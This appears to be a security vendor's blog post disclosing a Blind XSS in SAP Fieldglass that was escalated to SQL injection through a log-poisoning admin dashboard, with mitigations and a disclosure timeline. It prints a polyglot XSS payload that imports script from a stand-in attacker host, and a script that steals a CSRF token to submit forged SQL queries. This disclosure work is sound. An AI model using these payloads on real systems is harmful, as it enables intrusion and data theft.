Blind XSS in SAP Fieldglass: A Case Study on SQL Injection Through Log Poisoning

Executive Summary 

Blind XSS (Blind Cross-Site Scripting) vulnerabilities are often ignored, but In this specific scenario, it was escalated into an SQL injection vulnerability, leveraging a log poisoning attack. While this is not always the case with Blind XSS, this finding underscores the compounding risks of insecure admin interfaces, particularly when log data is handled without proper controls. 

Detecting Blind XSS vulnerabilities, especially those with delayed execution, can be challenging. Solutions like those offered by ULTRA RED are designed to monitor these scenarios and identify such issues, providing a proactive approach to securing backend systems. 

All vulnerabilities have been reported to SAP’s security team and fixed by SAP, as acknowledged on their website. We thank them for their cooperation. According to SAP, no customer data was compromised. 

This blog exemplifies how Blind XSS can lead to severe vulnerabilities and shares insights to enhance application security.

Introduction

Blind Cross-Site Scripting (Blind XSS) is a unique and often misunderstood security vulnerability, as its effects are typically delayed and dependent on privileged user interactions.

This assessment was conducted as part of my role at ULTRA RED when using SAP Fieldglass backend system, exposing an admin page that processes unsanitized logs. 

What is Blind XSS? 

Blind XSS occurs when malicious scripts are stored in a backend system (e.g., databases or logs) and executed later in a different context. Unlike traditional XSS, attackers cannot see the results immediately, relying instead on the victim (usually a backend user) to trigger the payload by interacting with the stored data at an unknown time in the future. 

Why Blind XSS is Dangerous 

The potential impact of Blind XSS vulnerabilities depends on where and how the payload is eventually executed. Some of the possible outcomes include:

• Log Poisoning: Attackers inject payloads into logs, which execute when viewed by anyone with access to the system that processes or displays those logs, such as admin panels, monitoring tools, or debugging interfaces. 

• Privilege Escalation: Executing scripts in privileged contexts (e.g., admin dashboards, internal tools) can expose sensitive information or allow attackers to perform unauthorized actions. 

• Unintended Execution: Since Blind XSS payloads may trigger in unexpected systems (e.g., automated alerts, email systems, or third-party integrations), the potential impact depends on where the malicious input is processed and can’t necessarily be determined in advance. 

• Pivoting: Attackers can leverage Blind XSS to steal session tokens, credentials, or sensitive data, enabling lateral movement within the system or broader infrastructure. 

Blind XSS’s unpredictability makes it particularly dangerous, as attackers often don’t know where their payload will execute—but when it does, the results can be severe. 

While Blind XSS can be hard to detect, modern tools like those offered by ULTRA RED simplify detection by monitoring for delayed execution scenarios, even in obscure backend interfaces such as admin dashboards. 

In this case, the vulnerability revealed a larger issue: an unsanitized admin page which supports executing SQL queries on Fieldglass databases. 

Discovery of the Vulnerability 

Context of the Finding 

While testing a client`s infrastructure, a Blind XSS payload was injected into several endpoints which were connected to the tested website, 

During normal scans, our scanner injects payloads to test for any blind Cross-Site Scripting vulnerabilities that might occur. 

The following payload was used (which is simply trying to import and execute a script by breaking the website’s syntax): 

"><svg/onload=import(‘//<attacker-host’)>'>'";import('<attacker-host>');//;'><img/src/onerror=import('<attacker-host>')>

This payload was stored and later triggered when the admin accessed a file called redacted.do which is an internal dashboard that displays logs and supports executing SQL queries to view log information. 

Upon execution, the payload sent the admin’s DOM to the attacker-controlled server, revealing sensitive data. 

The Findings 

1. Log Poisoning Leading to XSS: 

o The admin dashboard fetched and displayed log data without sanitizing inputs. 

o Each time the admin interacted with the logs, the injected payload executed. 

2. SQL Injection Opportunity: 

o The dashboard allowed admins to execute SQL queries.

o Attackers could craft SQL queries by injecting payloads into logs, which the admin unknowingly executed. 

Escalation to SQL Injection 

Specific to the Case 

In this scenario, the unsanitized admin dashboard provided a unique opportunity to escalate the XSS vulnerability into SQL injection. By analysing the DOM sent to the attacker, it was possible to identify the location of the CSRF token within the DOM structure. This knowledge enabled the crafting of a script that could dynamically retrieve the token and execute an unauthorized SQL query upon the next visit by an admin or other privileged user. 

A crafted payload can look like this: 

<script>

  function submitFormWithCSRF() {

    if (typeof CSRFTOKEN !== 'undefined') {

      var form = document.createElement('form');

      form.action = '/redacted.do';

      form.method = 'POST';

      form.innerHTML = `

        <input type="hidden" name="dbName" value="log">

        <input type="hidden" name="whereClause" value="SLEEP(5) AND other_conditions">

        <input type="hidden" name="CSRFTOKEN" value="${CSRFTOKEN}">

      `;      

      document.body.appendChild(form);

      form.submit();

    } else {

      setTimeout(submitFormWithCSRF, 1000);

    }

  }

  submitFormWithCSRF();

</script>

This allowed attackers to: 

• Dynamically retrieve the CSRF token: The admin’s CSRF token was retrievable within the body. 

• Run arbitrary SQL queries: Extract and potentially manipulate sensitive data across multiple databases. 

Potential Impact on SAP Fieldglass Infrastructure 

Key Risks 

1. Data Breaches: 

Sensitive data was accessible through the admin page.

2. Possible Unauthorized SQL Queries upon next Admin’s visit: 

Attackers could execute SQL commands on customer data, bypassing authentication. 

While Blind XSS is complex to detect in such scenarios, proactive tools that monitor delayed payload execution can significantly reduce risks, even in interconnected systems like SAP Fieldglass. 

Key Takeaways 

1. Sanitize Inputs and Outputs 

This case underscores the critical need to sanitize all user inputs and encode all outputs, even in admin-facing systems. Logs, dashboards, and backend systems are common blind spots in security. 

2. Limit Query Permissions 

Admin dashboards should restrict SQL query capabilities, ensuring only predefined, safe queries can be executed. Avoid granting full query-building functionality. 

3. Enforce CSRF Protections 

• CSRF tokens should be stored outside the DOM. 

• Validate tokens on the server to prevent unauthorized actions. 

4. Monitor and Test Internal Systems 

Security testing should extend to internal systems, including admin dashboards and log viewers, as these often process sensitive data with insufficient safeguards. Consider deploying continuous automated penetration testing tools, such as those offered by ULTRA RED. 

Ethical Context and Reflection 

This vulnerability came across unexpectedly during validated testing of client infrastructure and reported responsibly. The goal was never malicious exploitation but rather to identify and mitigate risks to foster safer and more resilient systems. 

Conclusion 

The Blind XSS vulnerability in SAP Fieldglass is a cautionary tale about the dangers of unsanitized inputs, even in backend systems. While Blind XSS is often limited to injecting malicious scripts, this specific case demonstrates how it can escalate to SQL injection when combined with insecure admin functionality.

Leveraging proactive CTEM solutions, such as those offered by ULTRA RED, organizations can detect and mitigate complex vulnerabilities like these.

Acknowledgment by SAP

We appreciate SAP’s collaboration in the publication of this blog post and their recognition of our responsible and coordinated disclosure process. Their acknowledgment reflects our commitment to security research as well as our dedication to helping organizations strengthen their defenses.

Disclosure timeline: 

25/10/2024 - Reported to SAP. 

28/10/2024 - Received response from SAP validating the finding.

02/12/2024 - Fixed by SAP. 

10/12/2024 - Credited by SAP.

Want to learn more about the Ultra Red CTEM Platform? Check out our resources.